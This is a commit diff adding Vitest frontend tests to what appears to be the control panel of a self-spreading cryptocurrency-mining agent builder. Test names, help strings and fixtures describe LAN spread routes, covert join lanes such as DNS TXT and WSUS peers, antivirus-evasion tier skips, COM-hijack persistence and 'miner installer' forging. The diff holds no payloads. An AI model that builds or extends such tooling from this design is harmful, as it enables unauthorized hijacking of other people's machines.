Add Vitest coverage for erasure lanes, fleet evolution UI, and spread routes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover Path Tracer RS lane hints, Calibrate erasure toggle, fleet role chips, atlas skips panel, and erasure_lanes help copy.
This commit is contained in:
@@ -200,6 +200,20 @@ describe('AccessDepthPanel', () => {
|
|||||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('renders atlas skips block when failure atlas hard-skips tiers', async () => {
|
||||||
|
renderPanel(
|
||||||
|
mockAgent({ platform: 'windows', status: 'online' }),
|
||||||
|
parseAccessDepthDiagnostics({
|
||||||
|
tier_chain_order: ['exe_subprocess', 'ps_inmemory', 'cpu_inprocess'],
|
||||||
|
atlas_skips: [
|
||||||
|
{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures with Defender on' },
|
||||||
|
],
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(await screen.findByText('Atlas skips')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/ps inmemory \(Defender on\)/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('shows spread genealogy lineage when watermark present', async () => {
|
it('shows spread genealogy lineage when watermark present', async () => {
|
||||||
renderPanel(
|
renderPanel(
|
||||||
mockAgent({
|
mockAgent({
|
||||||
|
|||||||
@@ -179,4 +179,11 @@ describe('FIELD_HELP', () => {
|
|||||||
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
|
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
|
||||||
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
|
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('erasure_lanes describes Reed–Solomon shard encoding foundation', () => {
|
||||||
|
expect(FIELD_HELP.erasure_lanes).toMatch(/Reed.?Solomon/i);
|
||||||
|
expect(FIELD_HELP.erasure_lanes).toContain('erasure_lanes_enabled');
|
||||||
|
expect(FIELD_HELP.erasure_lanes).toMatch(/dns_txt|bits_curl|do_peer|wsus_cache_peer/);
|
||||||
|
expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -684,6 +684,28 @@ describe('BuilderPage', () => {
|
|||||||
preflightSpy.mockRestore();
|
preflightSpy.mockRestore();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('selects fleet role seeder chip in advanced spread section', async () => {
|
||||||
|
const buildSpy = vi.spyOn(api, 'buildAgent');
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderBuilder();
|
||||||
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||||
|
await user.click(screen.getByRole('button', { name: 'Advanced' }));
|
||||||
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||||
|
|
||||||
|
const seederChip = screen.getByRole('button', { name: 'Seeder' });
|
||||||
|
expect(seederChip).toHaveAttribute(
|
||||||
|
'title',
|
||||||
|
'LAN staging only — dns_txt/webrtc/do_peer, no RandomX',
|
||||||
|
);
|
||||||
|
await user.click(seederChip);
|
||||||
|
expect(seederChip.className).toMatch(/active/);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||||
|
await waitFor(() => expect(buildSpy).toHaveBeenCalled());
|
||||||
|
expect(buildSpy.mock.calls[0][0].fleet_role).toBe('seeder');
|
||||||
|
expect(screen.getByText(/Seeder skips mining/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('clears fusion batch queue after successful batch forge', async () => {
|
it('clears fusion batch queue after successful batch forge', async () => {
|
||||||
const user = userEvent.setup();
|
const user = userEvent.setup();
|
||||||
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
||||||
|
|||||||
@@ -283,6 +283,40 @@ describe('PathTracerPage', () => {
|
|||||||
await waitFor(() => expect(screen.getByRole('button', { name: /TRACE/i })).toBeInTheDocument());
|
await waitFor(() => expect(screen.getByRole('button', { name: /TRACE/i })).toBeInTheDocument());
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows RS lanes hint on spread routes when erasure is enabled', async () => {
|
||||||
|
vi.mocked(api.getTraceStatus).mockResolvedValue({
|
||||||
|
session_id: 'sess-1',
|
||||||
|
ready: false,
|
||||||
|
hops: [{ agent_id: 'win-1', status: 'pending' }],
|
||||||
|
spread_routes: [
|
||||||
|
{
|
||||||
|
target_subnet: '192.168.1.0/24',
|
||||||
|
seed_agent_id: 'seed-abc-123',
|
||||||
|
seed_agent_name: 'Lan Seeder',
|
||||||
|
egress_agent_id: 'win-1',
|
||||||
|
join_lane: 'dns_txt',
|
||||||
|
score: 0.85,
|
||||||
|
erasure_lanes_enabled: true,
|
||||||
|
},
|
||||||
|
],
|
||||||
|
});
|
||||||
|
|
||||||
|
useWebSocketMock.mockReturnValue(wsValue({ agents: [windowsAgent] }));
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderPage();
|
||||||
|
|
||||||
|
const card = screen.getByText('Rig Alpha').closest('.pt-agent-card') as HTMLElement;
|
||||||
|
await user.click(card);
|
||||||
|
await user.click(screen.getByRole('button', { name: /TRACE/i }));
|
||||||
|
await waitFor(() => expect(capturedPollTick).not.toBeNull());
|
||||||
|
capturedPollTick!();
|
||||||
|
|
||||||
|
expect(await screen.findByText('Spread Routes')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/192\.168\.1\.0\/24 → Lan Seeder/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/dns_txt/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/RS lanes/)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('QR modal renders when status becomes ready', async () => {
|
it('QR modal renders when status becomes ready', async () => {
|
||||||
vi.mocked(api.getTraceStatus).mockResolvedValue({
|
vi.mocked(api.getTraceStatus).mockResolvedValue({
|
||||||
session_id: 'sess-1',
|
session_id: 'sess-1',
|
||||||
|
|||||||
@@ -182,6 +182,23 @@ describe('SettingsPage (Calibrate)', () => {
|
|||||||
expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
|
expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('toggles erasure-coded multi-lane spread in Logic gates mode', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderSettings();
|
||||||
|
const erasureCheckbox = await screen.findByRole('checkbox', {
|
||||||
|
name: /Erasure-coded multi-lane spread/i,
|
||||||
|
});
|
||||||
|
expect((erasureCheckbox as HTMLInputElement).checked).toBe(false);
|
||||||
|
await user.click(erasureCheckbox);
|
||||||
|
expect((erasureCheckbox as HTMLInputElement).checked).toBe(true);
|
||||||
|
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(api.updateConfig).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||||
|
expect(saved?.server?.erasure_lanes_enabled).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
it('switches to AI Control and refreshes models', async () => {
|
it('switches to AI Control and refreshes models', async () => {
|
||||||
const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
|
const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
|
||||||
models: ['llama3.2', 'mistral'],
|
models: ['llama3.2', 'mistral'],
|
||||||
|
|||||||
Reference in New Issue
Block a user